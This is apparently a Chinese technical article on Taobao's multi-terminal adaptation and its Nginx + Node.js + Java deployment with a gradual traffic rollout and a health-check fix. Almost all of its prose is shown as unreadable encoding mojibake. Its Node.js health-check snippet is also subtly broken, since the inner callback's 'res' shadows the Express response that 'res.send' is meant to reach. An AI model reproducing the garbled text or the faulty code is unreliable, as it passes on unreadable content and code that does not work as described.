ÕâÖÖ·½°¸Ó¦¸ÃÊÇ×î¼òµ¥´Ö±©µÄ´¦Àí·½·¨¡£Í¨¹ý·ÓÉ£¨Router£©½«ÏàͬµÄ URL ͳһ´«µÝµ½Í¬Ò»¸ö¿ØÖƲ㣨Controller£©¡£¿ØÖƲãÔÙͨ¹ý
UA ÐÅÏ¢½«Êý¾ÝºÍÄ£ÐÍ£¨Model£©Âß¼ÅÉ·¢µ½¶ÔÓ¦µÄÕ¹ÏÖ£¨View£©½øÐÐäÖȾ£¬äÖȾ²ãÔò°´Ô¤ÏȵÄÔ¼¶¨ÌṩÁËÊÊÅ伸¸öÖն˵ÄÄ£°å¡£
ÕâÖÖ·½°¸µÄºÃ´¦ÊÇ£¬±£³ÖÁËÊý¾ÝºÍ¿ØÖƲãµÄͳһÐÔ£¬ÒµÎñÂß¼Ö»Ðè´¦ÀíÒ»´Î±é¿ÉÒÔÓ¦ÓÃÔÚËùÓÐÖÕ¶ËÉÏ¡£µ«ÕâÖÖ³¡¾°Ö»ÊʺÏÈçչʾÐÍÒ³ÃæµÈµÍ½»»¥Ð͵ÄÓ¦Óã¬Ò»µ©ÒµÎñ±È½Ï¸´ÔÓ£¬¸÷¸öÖն˵Ä
Controller ¿ÉÄÜÓи÷×ԵĴ¦ÀíÂß¼£¬Èç¹û»¹Êǹ²ÓÃÒ»¸ö Controller £¬»áµ¼Ö Controller
·Ç³£µÄÓ·Ö×¶øÇÒÄÑÒÔά»¤£¬ÕâÎÞÒÉÊÇÒ»¸ö´íÎóµÄÑ¡Ôñ¡£
½¨Á¢ÔÚ Router ÉϵÄÊÊÅä·½°¸
ΪÁ˽â¾öÉÏÃæÓöµ½µÄÎÊÌ⣬ÎÒÃÇ¿ÉÒÔÔÚ Router ÉϾͽ«Éè±¸Çø·Ö£¬Õë¶Ô²»Í¬µÄÖÕ¶Ë·Ö·¢µ½²»Í¬µÄ
Controller ÉÏ£º

ÕâÒ²ÊÇ×î³£¼ûµÄ·½°¸Ö®Ò»£¬´ó¶à±íÏÖÔÚÕë¶Ô²»Í¬ÖÕ¶ËʹÓø÷×Ô¶ÀÁ¢µÄÒ»Ì×Ó¦Óá£Èç PC ÌÔ±¦Ê×Ò³ºÍ WAP °æµÄÌÔ±¦Ê×Ò³£¬²»Í¬É豸·ÃÎÊ
www.taobao.com £¬·þÎñÆ÷»áͨ¹ý Router µÄ¿ØÖÆ£¬Öض¨Ïòµ½ WAP °æµÄÌÔ±¦Ê×Ò³»òÕß
PC °æµÄÌÔ±¦Ê×Ò³£¬ËüÃǸ÷×ÔÊÇÍêÈ«¶ÀÁ¢µÄÁ½Ì×Ó¦Óá£
µ«ÕâÖÖ·½°¸ÎÞÒÉ´øÀ´ÁËÊý¾ÝºÍ²¿·ÖÂß¼ÎÞ·¨¹²ÓõÄÎÊÌ⣬¸÷ÖÖÖÕ¶ËÖ®¼äÎÞ·¨·ÖÏíͬһ·ÝÊý¾ÝºÍÒµÎñÂß¼£¬²úÉú´óÁ¿Öظ´ÐÔ¹¤×÷£¬Ð§ÂʵÍÏ¡£
ΪÁË»º½âÕâ¸öÎÊÌ⣬ÓÐÈËÌá³öÁËÓÅ»¯ºóµÄ·½°¸£ºÒÀÈ»ÊÇÔÚͬһÌ×Ó¦ÓÃÀïÃæ£¬¸÷¸öÊý¾ÝÀ´Ô´³éÏó³É¸÷¸ö
Model£¬Ìṩ¸ø²»Í¬Öͦ赀 Controller ×éºÏʹÓãº

Õâ¸ö·½°¸½â¾öÁËÇ°ÃæÊý¾ÝÎÞ·¨¹²ÓõÄÎÊÌâ¡£ÔÚ Controller Éϸ÷¸öÖÕ¶Ë»¹ÊÇÏ໥¶ÀÁ¢£¬µ«Äܹ²Í¬Ê¹ÓÃͬһÅúÊý¾ÝÔ´£¬ÖÁÉÙÔÚÊý¾ÝÉÏÎÞÐèÔÙÕë¶ÔÖÕ¶ËÀàÐÍ¿ª·¢¶ÀÁ¢µÄ½Ó¿ÚÁË¡£
ÒÔÉÏÁ½ÖÖ»ùÓÚ Router µÄ·½°¸£¬ÓÉÓÚ Controller µÄ¶ÀÁ¢£¬¸÷¸öÖÕ¶Ë¿ÉÒÔΪ×Ô¼ºµÄÒ³ÃæÊµÏÖ²»Í¬µÄ½»»¥Âß¼£¬±£Ö¤Á˸÷ÖÕ¶Ë×ÔÉí×ã¹»µÄÁé»î¶È£¬ÕâÒ²ÊÇΪʲô´ó²¿·ÖÓ¦ÓòÉÓÃÕâÖÖ·½°¸µÄÖ÷ÒªÔÒò¡£
½¨Á¢ÔÚ View ²ãµÄÊÊÅä·½°¸
ÕâÊÇÌÔ±¦Ïµ¥Ò³ÃæÊ¹Óõķ½°¸£¬²»¹ýÇø±ðÊÇϵ¥Ò³½«ÕûÌåµÄäÖȾ²ã·ÅÔÚÁËä¯ÀÀÆ÷¶Ë£¬¶ø²»ÊÇ
NodeJS ²ã¡£²»¹ýÎÞÂÛÊÇä¯ÀÀÆ÷»¹ÊÇ NodeJS£¬ÕûÌåÉè¼ÆË¼Â·»¹ÊÇÒ»Öµģº

ÔÚÕâ¸ö·½°¸ÀïÃæ£¬Router¡¢Controller ºÍ Model ¶¼ÎÞÐè¹Ø×¢É豸ÐÅÏ¢£¬ÖÕ¶ËÀàÐ͵ÄÅжÏÍêÈ«½»¸øÕ¹ÏÖ²ãÀ´´¦Àí¡£Í¼ÖÐÖ÷ÒªµÄÄ£¿éÊÇ¡¸View
Factory¡¹£¬Model ºÍ Controller ½«Êý¾ÝºÍäÖȾÂß¼´«µÝ¹ýÀ´Ö®ºó£¬Í¨¹ý View Factory
¸ù¾ÝÉ豸ÐÅÏ¢ºÍÆäËü״̬£¨²»½ö½öÊÇ UA ÐÅÏ¢¡¢Ò²¿ÉÒÔÊÇÍøÂç»·¾³¡¢Óû§µØÇøµÈµÈ£©´ÓÒ»¶ÑÔ¤ÉèºÃµÄ×é¼þ£¨View
Component£©ÖÐ×¥È¡ÌØ¶¨µÄ×é¼þ£¬ÔÙ×éºÏ³É×îÖÕµÄÒ³Ãæ¡£
ÕâÖÖ·½°¸Óм¸¸öÓÅÊÆ£º
ÉϲãÎÞÐè¹Ø×¢É豸ÐÅÏ¢£¨UA£©£¬¶àÖն˵ÄÊÓÆµ»¹Êǽ»ÓɺÍ×îÖÕÕ¹ÏÖ×î´ó¹ØÏµµÄ View ²ãÀ´´¦Àí£»
²»½ö½öÊǶàÖÕ¶ËÊÊÅ䣬³ýÁË UA ÐÅÏ¢£¬¸÷¸ö View Component »¹¿ÉÒÔ¸ù¾ÝÓû§×´Ì¬¾ö¶¨×ÔÉíÊä³öºÎÖÖÄ£°æ£¬ÈçµÍÍøËÙÏÂĬÈÏÒþ²ØÍ¼Æ¬¡¢Ö¸¶¨µØÇøÊä³ö»î¶¯
Banner¡£
ÿ¸ö View Component µÄ²»Í¬Ä£°æ¼ä¿ÉÒÔ×ÔÐоö¶¨ÊÇ·ñʹÓÃͬһ·ÝÊý¾Ý¡¢ÒµÎñÂß¼£¬Ìṩʮ·ÖÁé»îµÄʵÏÖ·½Ê½¡£
µ«Ã÷ÏÔµÄÊÇ£¬Õâ¸ö·½°¸Ò²ÊÇ×Ôӵģ¬ÓÈÆäÊÇÒª¿¼ÂÇһЩ¸»½»»¥µÄÓ¦Ó󡾰ʱ£¬Router ºÍ Controller
Ò²ÐíÎÞ·¨±£³ÖÕâô´¿´â¡£Ìرð¶ÔÓÚһЩÕûÌåÐԱȽÏÇ¿µÄÒµÎñ£¬±¾ÉíÎÞ·¨±»²ð·Ö³É×é¼þ£¬ÕâÖÖ·½°¸Ò²Ðí²¢²»ÊÊÓã»¶øÇÒ¶ÔÓÚһЩ¼òµ¥µÄÒµÎñ£¬Ê¹ÓÃÕâÖּܹ¹¿ÉÄܲ»ÊÇ×î¼ÑµÄÑ¡Ôñ¡£
×ܽá
ÒÔÉϼ¸ÖÖ·½°¸£¬¶¼¸÷×ÔÌåÏÖÔÚ MVC Ä£ÐÍÖеÄÒ»¸ö»ò¶à¸ö²¿·Ö£¬ÔÚÒµÎñÉÏÈç¹ûÒ»¸ö·½°¸²»Âú×ãÐèÇ󣬸ü¿ÉÒÔ²ÉÈ¡¶à¸ö·½°¸Í¬Ê±²ÉÓõķ½Ê½¡£»òÊÇ¿ÉÒÔÀí½âΪ£¬ÒµÎñÉϵĸ´ÔӶȺͽ»»¥ÊôÐÔ¾ö¶¨Á˸òúÆ·¸üÊʺϲÉÓÃÄÄÖÖ¶àÖÕ¶ËÊÊÅä·½°¸¡£
¶Ô±È»ùÓÚä¯ÀÀÆ÷µÄÏìӦʽÉè¼Æ·½°¸£¬ÒòΪ¾ø´ó²¿·ÖÖÕ¶Ë̽²âºÍäÖȾÂß¼Ç¨ÒÆµ½ÁË·þÎñ¶Ë£¬ËùÒÔÔÚ NodeJS ²ã½øÐÐÊÊÅäÎÞÒÉ´øÀ´Á˸üºÃµÄÐÔÄܺÍÓû§ÌåÑ飻ÁíÍ⣬Ïà¶ÔÓÚһЩËùνµÄ¡¸ÔÆÊÊÅ䡹·½°¸´øÀ´µÄת»»ÖÊÁ¿ÎÊÌ⣬ÔÚ»ùÓÚǰºó¶Ë·ÖÀëµÄ¡¸¶¨ÖÆÊ½¡¹·½°¸ÖÐÒ²²»»á´æÔÚ¡£Ç°ºó¶Ë·ÖÀëµÄÊÊÅä·½°¸ÔÚÕâЩ·½ÃæÓÐ×ÅÌìÈ»ÓÅÊÆ¡£
×îºó£¬ÎªÁËÊÊÓ¦¸üÁé»îµÄÇ¿´óµÄÊÊÅäÐèÇ󣬻ùÓÚǰºó¶Ë·ÖÀëµÄÊÊÅä·½°¸½«»áÃæÁÙ¸ü¶àÌôÕ½£¡
Nginx + Node.js + Java µÄÈí¼þÕ»²¿Êðʵ¼ù
Æð
¹ØÓÚǰºó¶Ë·ÖÏíµÄ˼¿¼£¬ÎÒÃÇÒѾÓÐÎåÆªÎÄÕ²ûÊö˼·ÓëÉè¼Æ¡£±¾ÎĽéÉÜÌÔ±¦ÍøÊղؼн« Node.js ÒýÈ봫ͳ¼¼ÊõÕ»µÄ¾ßÌåʵ¼ù¡£
ÌÔ±¦ÍøÏßÉÏÓ¦ÓõĴ«Í³Èí¼þÕ»½á¹¹Îª Nginx + Velocity +
Java£¬¼´£º

ÔÚÕâ¸öÌåϵÖУ¬Nginx ½«ÇëÇóת·¢¸ø Java Ó¦Ó㬺óÕß´¦ÀíÍêÊÂÎñ£¬ÔÙ½«Êý¾ÝÓà Velocity
Ä£°åäÖȾ³É×îÖÕµÄÒ³Ãæ¡£
ÒýÈë Node.js Ö®ºó£¬ÎÒÃÇÊÆ±ØÒªÃæÁÙÒÔϼ¸¸öÎÊÌ⣺
¼¼ÊõÕ»µÄÍØÆË½á¹¹¸ÃÈçºÎÉè¼Æ£¬²¿Êð·½Ê½¸ÃÈçºÎÑ¡Ôñ£¬²ÅËãÊÇ¿ÆÑ§ºÏÀí£¿
ÏîÄ¿Íê³Éºó£¬¸ÃÈçºÎÇзÖÁ÷Á¿£¬¶ÔÔËάÀ´Ëµ²ÅËãÊÇ·½±ã¿ì½Ý£¿
Óöµ½ÏßÉϵÄÎÊÌ⣬ÈçºÎ×î¿ìµØ½â³ýÏÕÇ飬±ÜÃâ¸ü´óµÄËðʧ£¿
ÈçºÎÈ·±£Ó¦ÓõĽ¡¿µÇé¿ö£¬ÔÚ¸ºÔؾùºâµ÷¶ÈµÄ²ãÃæ¼ÓÒÔ¹ÜÀí£¿
³Ð
ÏµÍ³ÍØÆË
°´ÕÕÎÒÃÇÔÚǰºó¶Ë·ÖÀëµÄ˼¿¼Óëʵ¼ù£¨¶þ£©- »ùÓÚǰºó¶Ë·ÖÀëµÄÄ£°æÌ½Ë÷Ò»ÎÄÖеÄ˼·£¬Velocity
ÐèÒª±» Node.js È¡´ú£¬´Ó¶øÈÃÕâ¸ö½á¹¹±ä³É£º

Õ⵱ȻÊÇ×îÀíÏëµÄÄ¿±ê¡£È»¶ø£¬ÔÚ´«Í³Õ»ÖÐÊ×´ÎÒýÈë Node.js ÕâÒ»²ã±Ï¾¹ÊǸöг¢ÊÔ¡£ÎªÁËÎÈÍׯð¼û£¬ÎÒÃǾö¶¨Ö»ÔÚÊղؼеı¦±´ÊÕ²ØÒ³Ã棨shoucang.taobao.com/item_collect.htm£©ÆôÓÃеļ¼Êõ£¬ÆäËüÒ³ÃæÑØÓô«Í³·½°¸¡£¼´£¬ÓÉ
Nginx ÅжÏÇëÇóµÄÒ³ÃæÀàÐÍ£¬¾ö¶¨Õâ¸öÇëÇ󾿾¹ÊÇҪת·¢¸ø Node.js »¹ÊÇ Java¡£ÓÚÊÇ£¬×îºóµÄ½á¹¹³ÉÁË£º

²¿Êð·½°¸
ÉÏÃæµÄ½á¹¹¿´ÆðÀ´Ã»Ê²Ã´ÎÊÌâÁË£¬µ«ÆäʵÐÂÎÊÌ⻹µÈÔÚÇ°Ãæ¡£ÔÚ´«Í³½á¹¹ÖУ¬Nginx
Óë Java ÊDz¿ÊðÔÚͬһ̨·þÎñÆ÷Éϵģ¬Nginx ¼àÌý 80 ¶Ë¿Ú£¬Óë¼àÌý¸ßλ 7001 ¶Ë¿ÚµÄ Java
ͨÐÅ¡£ÏÖÔÚÒýÈëÁË Node.js £¬ÐèÒªÐÂÅÜÒ»¸ö¼àÌý¶Ë¿ÚµÄ½ø³Ì£¬µ½µ×Êǽ« Node.js Óë Nginx
+ Java ²¿ÊðÔÚͬһ̨»úÆ÷£¬»¹Êǽ« Node.js ²¿ÊðÔÚµ¥¶ÀµÄ¼¯ÈºÄØ£¿
ÎÒÃÇÀ´±È½ÏÒ»ÏÂÁ½ÖÖ·½Ê½¸÷×ÔÌØµã£º

ÌÔ±¦ÍøÊղؼÐÊÇÒ»¸öÓµÓÐǧÍò¼¶ÈÕ¾ù PV µÄÓ¦Ó㬶ÔÎȶ¨ÐÔµÄÒªÇóÐÔ¼«¸ß£¨ÊÂʵÉÏÈκβúÆ·µÄÏßÉϲ»Îȶ¨¶¼ÊDz»ÄܽÓÊܵģ©¡£Èç¹û²ÉÓÃͬ¼¯Èº²¿Êð·½°¸£¬Ö»ÐèÒªÒ»´ÎÎļþ·Ö·¢£¬Á½´ÎÓ¦ÓÃÖØÆô¼´¿ÉÍê³É·¢²¼£¬ÍòÒ»ÐèÒª»Ø¹ö£¬Ò²Ö»ÐèÒª²Ù×÷Ò»´Î»ùÏß°ü¡£ÐÔÄÜÉÏÀ´Ëµ£¬Í¬¼¯Èº²¿ÊðÒ²ÓÐһЩÀíÂÛÓÅÊÆ£¨ËäÈ»ÄÚÍøµÄ½»»»»ú´ø¿íÓëÑÓʱ¶¼ÊǷdz£Àֹ۵ģ©¡£ÖÁÓÚÒ»¶Ô¶à»òÕß¶à¶ÔÒ»µÄ¹ØÏµ£¬ÀíÂÛÉÏ¿ÉÄÜ×öµ½·þÎñÆ÷¸ü¼Ó³ä·ÖµÄÀûÓ㬵«Ïà±ÈÎȶ¨ÐÔÉϵÄÒªÇó£¬ÕâÒ»µã²¢²»ÄÇô¼±ÆÈÐèҪȥ½â¾ö¡£ËùÒÔÔÚÊղؼеĸÄÔìÖУ¬ÎÒÃÇÑ¡ÔñÁËͬ¼¯Èº²¿Êð·½°¸¡£
»Ò¶È·½Ê½
ΪÁ˱£Ö¤×î´ó³Ì¶ÈµÄÎȶ¨£¬Õâ´Î¸ÄÔ첢ûÓÐÖ±½Ó½« Velocity ´úÂëÍêȫȥµô¡£Ó¦Óü¯ÈºÖÐÓн«½ü 100
̨·þÎñÆ÷£¬ÎÒÃÇÒÔ·þÎñÆ÷ΪÁ£¶È£¬Öð½¥ÒýÈëÁ÷Á¿¡£Ò²¾ÍÊÇ˵£¬ËäÈ»ËùÓеķþÎñÆ÷É϶¼ÅÜ×Å Java + Node.js
µÄ½ø³Ì£¬µ« Nginx ÉÏÓÐûÓÐÏàÓ¦µÄת·¢¹æÔò£¬¾ö¶¨ÁË»ñÈ¡Õą̂·þÎñÆ÷ÉÏÇëÇ󱦱´ÊղصÄÇëÇóÊÇ·ñ»á¾¹ý Node.js
À´´¦Àí¡£ÆäÖÐ Nginx µÄÅäÖÃΪ£º
location = "/item_collect.htm" { proxy_pass http://127.0.0.1:6001; # Node.js ½ø³Ì¼àÌýµÄ¶Ë¿Ú } |
Ö»ÓÐÌí¼ÓÁËÕâÌõ Nginx ¹æÔòµÄ·þÎñÆ÷£¬²Å»áÈà Node.js À´´¦ÀíÏàÓ¦ÇëÇó¡£Í¨¹ý Nginx ÅäÖ㬿ÉÒԷdz£·½±ã¿ì½ÝµØ½øÐлҶÈÁ÷Á¿µÄÔö¼ÓÓë¼õÉÙ£¬³É±¾ºÜµÍ¡£Èç¹ûÓöµ½ÎÊÌ⣬¿ÉÒÔÖ±½Ó½«
Nginx ÅäÖýøÐлعö£¬Ë²¼ä»Øµ½´«Í³¼¼ÊõÕ»½á¹¹£¬½â³ýÏÕÇé¡£
µÚÒ»´Î·¢²¼Ê±£¬ÎÒÃÇÖ»ÓÐÁ½Ì¨·þÎñÆ÷ÉÏÆôÓÃÁËÕâÌõ¹æÔò£¬Ò²¾ÍÊÇ˵´óÖÂÓв»µ½ 2% µÄÏßÉÏÁ÷Á¿ÊÇ×ß Node.js
´¦ÀíµÄ£¬ÆäÓàµÄÁ÷Á¿µÄÇëÇóÈÔÈ»ÓÉ Velocity äÖȾ¡£ÒÔºóÊÓÇé¿öÖð²½Ôö¼ÓÁ÷Á¿£¬×îºóÔÚµÚÈýÖÜ£¬È«²¿·þÎñÆ÷¶¼ÆôÓÃÁË¡£ÖÁ´Ë£¬Éú²ú»·¾³
100% Á÷Á¿µÄÉÌÆ·ÊÕ²ØÒ³Ãæ¶¼ÊǾ Node.js äÖȾ³öÀ´µÄ£¨¿ÉÒԲ鿴Դ´úÂëËÑË÷ Node.js ¹Ø¼ü×Ö£©¡£
ת
»Ò¶È¹ý³Ì²¢²»ÊÇÒ»·«·ç˳µÄ¡£ÔÚÈ«Á¿ÇÐÁ÷Á¿Ö®Ç°£¬Óöµ½ÁËһЩ»ò´ó»òСµÄÎÊÌâ¡£´ó²¿·ÖÓë¾ßÌåÒµÎñÓйأ¬ÖµµÃ½è¼øµÄÊÇÒ»¸ö¼¼Êõϸ½ÚÏà¹ØµÄÏÝÚå¡£
½¡¿µ¼ì²é
ÔÚ´«Í³µÄ¼Ü¹¹ÖУ¬¸ºÔؾùºâµ÷¶Èϵͳÿ¸ôÒ»ÃëÖÓ»á¶Ôÿ̨·þÎñÆ÷ 80 ¶Ë¿ÚµÄÌØ¶¨ URL ·¢ÆðÒ»´Î get
ÇëÇ󣬸ù¾Ý·µ»ØµÄ HTTP Status Code ÊÇ·ñΪ 200 À´Åжϸ÷þÎñÆ÷ÊÇ·ñÕý³£¹¤×÷¡£Èç¹ûÇëÇó
1s ºó³¬Ê±»òÕß HTTP Status Code ²»Îª 200£¬Ôò²»½«ÈκÎÁ÷Á¿ÒýÈë¸Ã·þÎñÆ÷£¬±ÜÃâÏßÉÏÎÊÌâ¡£
Õâ¸öÇëÇóµÄ·¾¶ÊÇ Nginx -> Java -> Nginx£¬ÕâÒâζ×Å£¬Ö»Òª·µ»ØÁË 200£¬ÄÇÕą̂·þÎñÆ÷µÄ
Nginx Óë Java ¶¼´¦ÓÚ½¡¿µ×´Ì¬¡£ÒýÈë Node.js ºó£¬Õâ¸ö·¾¶±ä³ÉÁË Nginx ->
Node.js -> Java -> Node.js -> Nginx¡£ÏàÓ¦µÄ´úÂëΪ£º
var http = require('http'); app.get('/status.taobao', function(req, res) { http.get({ host: '127.1', port: 7001, path: '/status.taobao' }, function(res) { res.send(res.statusCode); }).on('error', function(err) { logger.error(err); res.send(404); }); }); |
µ«ÊÇÔÚ²âÊÔ¹ý³ÌÖУ¬·¢ÏÖ Node.js ÔÚת·¢ÕâÀàÇëÇóµÄʱºò£¬Ã¿ÁùÆß´Î¾ÍÓÐÒ»´Î»áºÄʱ¼¸ÃëÉõÖÁÊ®¼¸Ãë²ÅÄܵõ½
Java ¶ËµÄ·µ»Ø¡£ÕâÑù»áµ¼Ö¸ºÔؾùºâµ÷¶ÈϵͳÈÏΪ¸Ã·þÎñÆ÷·¢ÉúÒì³££¬Ëæ¼´ÇжÏÁ÷Á¿£¬µ«Êµ¼ÊÉÏÕą̂·þÎñÆ÷ÊÇÄܹ»Õý³£¹¤×÷µÄ¡£ÕâÏÔÈ»ÊÇÒ»¸ö²»Ð¡µÄÎÊÌâ¡£
ÅŲéÒ»·¬·¢ÏÖ£¬Ä¬ÈÏÇé¿öÏ£¬ Node.js »áʹÓà HTTP Agent Õâ¸öÀàÀ´´´½¨ HTTP Á¬½Ó£¬Õâ¸öÀàʵÏÖÁË
socket Á¬½Ó³Ø£¬Ã¿¸öÖ÷»ú+¶Ë¿Ú¶ÔµÄÁ¬½ÓÊýĬÈÏÉÏÏÞÊÇ 5¡£Í¬Ê± HTTP Agent Àà·¢ÆðµÄÇëÇóÖÐĬÈÏ´øÉÏÁË
Connection: Keep-Alive£¬µ¼ÖÂÒÑ·µ»ØµÄÁ¬½ÓûÓм°Ê±ÊÍ·Å£¬ºóÃæ·¢ÆðµÄÇëÇóÖ»ÄÜÅŶӡ£
×îºóµÄ½â¾ö°ì·¨ÓÐÈýÖÖ£º
½ûÓà HTTP Agent£¬¼´ÔÚÔÚµ÷Óà get ·½·¨Ê±¶îÍâÌí¼Ó²ÎÊý agent: false£¬×îºóµÄ´úÂëΪ£º
var http = require('http'); app.get('/status.taobao', function(req, res) { http.get({ host: '127.1', port: 7001, agent: false, path: '/status.taobao' }, function(res) { res.send(res.statusCode); }).on('error', function(err) { logger.error(err); res.send(404); }); }); |
ÉèÖà http ¶ÔÏóµÄÈ«¾Ö socket ÊýÁ¿ÉÏÏÞ£º
http.globalAgent.maxSockets = 1000; |
ÔÚÇëÇ󷵻صÄʱºò¼°Ê±Ö÷¶¯¶Ï¿ªÁ¬½Ó£º
http.get(options, function(res) { }).on("socket", function (socket) { socket.emit("agentRemove"); // ¼àÌý socket ʼþ£¬Ôڻص÷ÖÐÅÉ·¢ agentRemove ʼþ }); |
ʵ¼ùÉÏÎÒÃÇÑ¡ÔñµÚÒ»ÖÖ·½·¨¡£Õâôµ÷ÕûÖ®ºó£¬½¡¿µ¼ì²é¾ÍûÓÐÔÙ·¢ÏÖÆäËüÎÊÌâÁË¡£
ºÏ
Node.js Ó봫ͳҵÎñ³¡¾°½áºÏµÄʵ¼ù²Å¸Õ¸ÕÆð²½£¬ÈÔÈ»ÓдóÁ¿ÖµµÃÉîÈëÍÚ¾òµÄÓÅ»¯µã¡£±È±ÈÈ磬Èà Java
Ó¦Óó¹µ×ÖÐÐÄ»¯ºó£¬ÊÇ·ñ¿ÉÒÔ¿¼·Ö¼¯Èº²¿Êð£¬ÒÔÌá¸ß·þÎñÆ÷ÀûÓÃÂÊ¡£»òÕߣ¬·¢²¼Óë»Ø¹öµÄ·½Ê½ÊÇ·ñÄܸü¼ÓÁé»î¿É¿Ø¡£µÈµÈϸ½Ú£¬¶¼ÖµµÃÔÙ½øÒ»²½Ñо¿¡£
|